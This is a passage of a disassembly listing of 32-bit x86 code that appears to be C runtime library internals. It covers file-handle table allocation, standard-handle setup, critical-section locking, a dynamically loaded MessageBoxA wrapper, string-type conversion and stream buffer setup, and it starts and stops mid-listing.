bp-based frame sub_4293E0 proc near ; CODE XREF: .data:0042AEA9p push ebp mov ebp, esp call sub_421920 add eax, 54h pop ebp retn sub_4293E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4293F0 proc near ; CODE XREF: sub_41B3A0+2CEp ; sub_428880+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp dword_4DE1B0, 0 jnz short loc_429463 push offset aUser32_dll_0 ; "user32.dll" call dword_4E037C ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_429437 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax call dword_4E0380 ; GetProcAddress mov dword_4DE1B0, eax cmp dword_4DE1B0, 0 jnz short loc_42943B loc_429437: ; CODE XREF: sub_4293F0+28j xor eax, eax jmp short loc_4294A7 ; --------------------------------------------------------------------------- loc_42943B: ; CODE XREF: sub_4293F0+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx call dword_4E0380 ; GetProcAddress mov dword_4DE1B4, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call dword_4E0380 ; GetProcAddress mov dword_4DE1B8, eax loc_429463: ; CODE XREF: sub_4293F0+14j cmp dword_4DE1B4, 0 jz short loc_429475 call dword_4DE1B4 ; GetActiveWindow mov [ebp+var_4], eax loc_429475: ; CODE XREF: sub_4293F0+7Aj cmp [ebp+var_4], 0 jz short loc_429491 cmp dword_4DE1B8, 0 jz short loc_429491 mov eax, [ebp+var_4] push eax call dword_4DE1B8 ; GetLastActivePopup mov [ebp+var_4], eax loc_429491: ; CODE XREF: sub_4293F0+89j ; sub_4293F0+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_4DE1B0 ; MessageBoxA loc_4294A7: ; CODE XREF: sub_4293F0+49j mov esp, ebp pop ebp retn sub_4293F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4294B0 proc near ; CODE XREF: .data:loc_429942p ; sub_429E30:loc_42A0C9p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_41BC80 add esp, 4 mov [ebp+var_C], 0 jmp short loc_4294DA ; --------------------------------------------------------------------------- loc_4294D1: ; CODE XREF: sub_4294B0:loc_42967Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_4294DA: ; CODE XREF: sub_4294B0+1Fj cmp [ebp+var_C], 40h jge loc_429680 mov ecx, [ebp+var_C] cmp dword_4DE320[ecx*4], 0 jz loc_4295E6 mov edx, [ebp+var_C] mov eax, dword_4DE320[edx*4] mov [ebp+var_4], eax jmp short loc_42950D ; --------------------------------------------------------------------------- loc_429504: ; CODE XREF: sub_4294B0+F1j ; sub_4294B0:loc_4295D1j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_42950D: ; CODE XREF: sub_4294B0+52j mov edx, [ebp+var_C] mov eax, dword_4DE320[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_4295D6 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_4295D1 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_429579 push 11h call sub_41BC80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42956F mov edx, [ebp+var_4] add edx, 0Ch push edx call dword_4E0470 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42956F: ; CODE XREF: sub_4294B0+A1j push 11h call sub_41BD20 add esp, 4 loc_429579: ; CODE XREF: sub_4294B0+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call dword_4E03A8 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_4295A6 mov eax, [ebp+var_4] add eax, 0Ch push eax call dword_4E03A4 ; RtlLeaveCriticalSection jmp loc_429504 ; --------------------------------------------------------------------------- loc_4295A6: ; CODE XREF: sub_4294B0+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, dword_4DE320[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_4295D6 ; --------------------------------------------------------------------------- loc_4295D1: ; CODE XREF: sub_4294B0+81j jmp loc_429504 ; --------------------------------------------------------------------------- loc_4295D6: ; CODE XREF: sub_4294B0+6Fj ; sub_4294B0+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4295E1 jmp loc_429680 ; --------------------------------------------------------------------------- loc_4295E1: ; CODE XREF: sub_4294B0+12Aj jmp loc_42967B ; --------------------------------------------------------------------------- loc_4295E6: ; CODE XREF: sub_4294B0+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_4150C0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_429679 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dword_4DE320[eax*4], ecx mov edx, dword_4DE420 add edx, 20h mov dword_4DE420, edx jmp short loc_42962C ; --------------------------------------------------------------------------- loc_429623: ; CODE XREF: sub_4294B0+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_42962C: ; CODE XREF: sub_4294B0+171j mov ecx, [ebp+var_C] mov edx, dword_4DE320[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_429664 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_429623 ; --------------------------------------------------------------------------- loc_429664: ; CODE XREF: sub_4294B0+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_4299C0 add esp, 4 loc_429679: ; CODE XREF: sub_4294B0+153j jmp short loc_429680 ; --------------------------------------------------------------------------- loc_42967B: ; CODE XREF: sub_4294B0:loc_4295E1j jmp loc_4294D1 ; --------------------------------------------------------------------------- loc_429680: ; CODE XREF: sub_4294B0+2Ej ; sub_4294B0+12Cj ... push 12h call sub_41BD20 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_4294B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4296A0 proc near ; CODE XREF: .data:00429973p ; sub_429E30+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb loc_42973A mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_42973A cmp dword_444ED4, 1 jnz short loc_42971A mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_4296F2 cmp [ebp+var_4], 1 jz short loc_429700 cmp [ebp+var_4], 2 jz short loc_42970E jmp short loc_42971A ; --------------------------------------------------------------------------- loc_4296F2: ; CODE XREF: sub_4296A0+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call dword_4E030C ; SetStdHandle jmp short loc_42971A ; --------------------------------------------------------------------------- loc_429700: ; CODE XREF: sub_4296A0+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h call dword_4E030C ; SetStdHandle jmp short loc_42971A ; --------------------------------------------------------------------------- loc_42970E: ; CODE XREF: sub_4296A0+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h call dword_4E030C ; SetStdHandle loc_42971A: ; CODE XREF: sub_4296A0+36j ; sub_4296A0+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_429753 ; --------------------------------------------------------------------------- loc_42973A: ; CODE XREF: sub_4296A0+Dj ; sub_4296A0+2Dj call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_429753: ; CODE XREF: sub_4296A0+98j mov esp, ebp pop ebp retn sub_4296A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429760 proc near ; CODE XREF: sub_41B730+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb loc_42981B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_42981B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_42981B cmp dword_444ED4, 1 jnz short loc_4297FA mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_4297D8 cmp [ebp+var_4], 1 jz short loc_4297E4 cmp [ebp+var_4], 2 jz short loc_4297F0 jmp short loc_4297FA ; --------------------------------------------------------------------------- loc_4297D8: ; CODE XREF: sub_429760+68j push 0 push 0FFFFFFF6h call dword_4E030C ; SetStdHandle jmp short loc_4297FA ; --------------------------------------------------------------------------- loc_4297E4: ; CODE XREF: sub_429760+6Ej push 0 push 0FFFFFFF5h call dword_4E030C ; SetStdHandle jmp short loc_4297FA ; --------------------------------------------------------------------------- loc_4297F0: ; CODE XREF: sub_429760+74j push 0 push 0FFFFFFF4h call dword_4E030C ; SetStdHandle loc_4297FA: ; CODE XREF: sub_429760+5Cj ; sub_429760+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_429834 ; --------------------------------------------------------------------------- loc_42981B: ; CODE XREF: sub_429760+Dj ; sub_429760+33j ... call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_429834: ; CODE XREF: sub_429760+B9j mov esp, ebp pop ebp retn sub_429760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429840 proc near ; CODE XREF: sub_41B730+9p ; sub_41B730+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_42988B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_42988B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] mov eax, [ecx+eax] jmp short loc_4298A4 ; --------------------------------------------------------------------------- loc_42988B: ; CODE XREF: sub_429840+Cj ; sub_429840+2Ej call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4298A4: ; CODE XREF: sub_429840+49j pop ebp retn sub_429840 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_4298CD mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_4298CD: ; CODE XREF: .data:004298C2j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_4298E2 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_4298E2: ; CODE XREF: .data:004298D8j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_4298F8 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_4298F8: ; CODE XREF: .data:004298EDj mov eax, [ebp+8] push eax call dword_4E0314 ; GetFileType mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_429922 call dword_4E0350 ; RtlGetLastWin32Error push eax call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4299B0 ; --------------------------------------------------------------------------- loc_429922: ; CODE XREF: .data:00429909j cmp dword ptr [ebp-4], 2 jnz short loc_429933 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_429942 ; --------------------------------------------------------------------------- loc_429933: ; CODE XREF: .data:00429926j cmp dword ptr [ebp-4], 3 jnz short loc_429942 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_429942: ; CODE XREF: .data:00429931j ; .data:00429937j call sub_4294B0 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_42996B call sub_4224D0 mov dword ptr [eax], 18h call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4299B0 ; --------------------------------------------------------------------------- loc_42996B: ; CODE XREF: .data:0042994Ej mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_4296A0 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_429A50 add esp, 4 mov eax, [ebp-8] loc_4299B0: ; CODE XREF: .data:0042991Dj ; .data:00429969j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4299C0 proc near ; CODE XREF: sub_41B6B0+50p ; sub_41FCF0+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_429A21 push 11h call sub_41BC80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_429A17 mov edx, [ebp+var_4] add edx, 0Ch push edx call dword_4E0470 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_429A17: ; CODE XREF: sub_4299C0+39j push 11h call sub_41BD20 add esp, 4 loc_429A21: ; CODE XREF: sub_4299C0+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] lea eax, [edx+ecx+0Ch] push eax call dword_4E03A8 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_4299C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A50 proc near ; CODE XREF: sub_41B6B0+6Bp ; sub_41FCF0+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] lea eax, [edx+ecx+0Ch] push eax call dword_4E03A4 ; RtlLeaveCriticalSection pop ebp retn sub_429A50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A80 proc near ; CODE XREF: sub_41B8D0+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_429AB1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_429AC4 loc_429AB1: ; CODE XREF: sub_429A80+Dj call sub_4224D0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_429B4E ; --------------------------------------------------------------------------- loc_429AC4: ; CODE XREF: sub_429A80+2Fj mov edx, [ebp+arg_0] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_429B2D mov ecx, [ebp+arg_0] push ecx call sub_429840 add esp, 4 push eax call dword_4E0308 ; FlushFileBuffers test eax, eax jnz short loc_429B14 call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B14: ; CODE XREF: sub_429A80+87j mov [ebp+var_4], 0 loc_429B1B: ; CODE XREF: sub_429A80+92j cmp [ebp+var_4], 0 jnz short loc_429B23 jmp short loc_429B3F ; --------------------------------------------------------------------------- loc_429B23: ; CODE XREF: sub_429A80+9Fj call sub_4224E0 mov edx, [ebp+var_4] mov [eax], edx loc_429B2D: ; CODE XREF: sub_429A80+70j call sub_4224D0 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_429B3F: ; CODE XREF: sub_429A80+A1j mov eax, [ebp+arg_0] push eax call sub_429A50 add esp, 4 mov eax, [ebp+var_4] loc_429B4E: ; CODE XREF: sub_429A80+3Fj mov esp, ebp pop ebp retn sub_429A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B60 proc near ; CODE XREF: sub_41FA40+98p ; sub_421FA0+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435700 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE1BC, 0 jnz short loc_429BDE lea eax, [ebp+var_1C] push eax push 1 push offset dword_435398 push 1 call dword_4E0300 ; GetStringTypeW test eax, eax jz short loc_429BB2 mov dword_4DE1BC, 1 jmp short loc_429BDE ; --------------------------------------------------------------------------- loc_429BB2: ; CODE XREF: sub_429B60+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_435394 push 1 push 0 call dword_4E0304 ; GetStringTypeA test eax, eax jz short loc_429BD7 mov dword_4DE1BC, 2 jmp short loc_429BDE ; --------------------------------------------------------------------------- loc_429BD7: ; CODE XREF: sub_429B60+69j xor eax, eax jmp loc_429D08 ; --------------------------------------------------------------------------- loc_429BDE: ; CODE XREF: sub_429B60+2Dj ; sub_429B60+50j ... cmp dword_4DE1BC, 2 jnz short loc_429C15 cmp [ebp+arg_14], 0 jnz short loc_429BF6 mov edx, dword_4DE074 mov [ebp+arg_14], edx loc_429BF6: ; CODE XREF: sub_429B60+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx call dword_4E0304 ; GetStringTypeA jmp loc_429D08 ; --------------------------------------------------------------------------- loc_429C15: ; CODE XREF: sub_429B60+85j cmp dword_4DE1BC, 1 jnz loc_429D06 cmp [ebp+arg_10], 0 jnz short loc_429C31 mov edx, dword_4DE084 mov [ebp+arg_10], edx loc_429C31: ; CODE XREF: sub_429B60+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_429C65 xor eax, eax jmp loc_429D08 ; --------------------------------------------------------------------------- loc_429C65: ; CODE XREF: sub_429B60+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_417700 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_429CBB ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_429CBB: ; CODE XREF: sub_429B60+142j cmp [ebp+var_24], 0 jnz short loc_429CC5 xor eax, eax jmp short loc_429D08 ; --------------------------------------------------------------------------- loc_429CC5: ; CODE XREF: sub_429B60+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_429CEE xor eax, eax jmp short loc_429D08 ; --------------------------------------------------------------------------- loc_429CEE: ; CODE XREF: sub_429B60+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_0] push eax call dword_4E0300 ; GetStringTypeW jmp short loc_429D08 ; --------------------------------------------------------------------------- loc_429D06: ; CODE XREF: sub_429B60+BCj xor eax, eax loc_429D08: ; CODE XREF: sub_429B60+79j ; sub_429B60+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D20 proc near ; CODE XREF: sub_41FB00+A1p ; sub_420720+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_429D27: ; CODE XREF: sub_429D20+2Fj cmp [ebp+arg_0], 0 jnz short loc_429D4B push offset dword_4344AC push 0 push 2Eh push offset dword_43570C push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_429D4B int 3 ; Trap to Debugger loc_429D4B: ; CODE XREF: sub_429D20+Bj ; sub_429D20+28j xor eax, eax test eax, eax jnz short loc_429D27 mov ecx, dword_4DDFDC add ecx, 1 mov dword_4DDFDC, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_43570C push 2 push 1000h call sub_4150C0 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_429DA6 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_429DCB ; --------------------------------------------------------------------------- loc_429DA6: ; CODE XREF: sub_429D20+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_429DCB: ; CODE XREF: sub_429D20+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429D20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_429E30 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E30 proc near ; CODE XREF: sub_4201D0+2B0p ; .data:00429E23p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_429E5D mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_429E68 ; --------------------------------------------------------------------------- loc_429E5D: ; CODE XREF: sub_429E30+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_429E68: ; CODE XREF: sub_429E30+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_429EA1 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_429E8C mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_429EA1 ; --------------------------------------------------------------------------- loc_429E8C: ; CODE XREF: sub_429E30+50j cmp dword_4DE22C, 8000h jz short loc_429EA1 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_429EA1: ; CODE XREF: sub_429E30+43j ; sub_429E30+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_429EBE cmp [ebp+var_40], 1 jz short loc_429EC7 cmp [ebp+var_40], 2 jz short loc_429ED0 jmp short loc_429ED9 ; --------------------------------------------------------------------------- loc_429EBE: ; CODE XREF: sub_429E30+7Ej mov [ebp+var_34], 80000000h jmp short loc_429EF7 ; --------------------------------------------------------------------------- loc_429EC7: ; CODE XREF: sub_429E30+84j mov [ebp+var_34], 40000000h jmp short loc_429EF7 ; --------------------------------------------------------------------------- loc_429ED0: ; CODE XREF: sub_429E30+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_429EF7 ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429E30+8Cj call sub_4224D0 mov dword ptr [eax], 16h call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_429EF7: ; CODE XREF: sub_429E30+95j ; sub_429E30+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_429F42 mov eax, [ebp+var_44] xor edx, edx mov dl, byte_42A352[eax] jmp off_42A33E[edx*4] loc_429F1E: ; DATA XREF: .data:off_42A33Eo mov [ebp+var_8], 0 jmp short loc_429F60 ; --------------------------------------------------------------------------- loc_429F27: ; CODE XREF: sub_429E30+E7j ; DATA XREF: .data:0042A342o mov [ebp+var_8], 1 jmp short loc_429F60 ; --------------------------------------------------------------------------- loc_429F30: ; CODE XREF: sub_429E30+E7j ; DATA XREF: .data:0042A346o mov [ebp+var_8], 2 jmp short loc_429F60 ; --------------------------------------------------------------------------- loc_429F39: ; CODE XREF: sub_429E30+E7j ; DATA XREF: .data:0042A34Ao mov [ebp+var_8], 3 jmp short loc_429F60 ; --------------------------------------------------------------------------- loc_429F42: ; CODE XREF: sub_429E30+DAj ; sub_429E30+E7j ; DATA XREF: ... call sub_4224D0 mov dword ptr [eax], 16h call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_429F60: ; CODE XREF: sub_429E30+F5j ; sub_429E30+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], 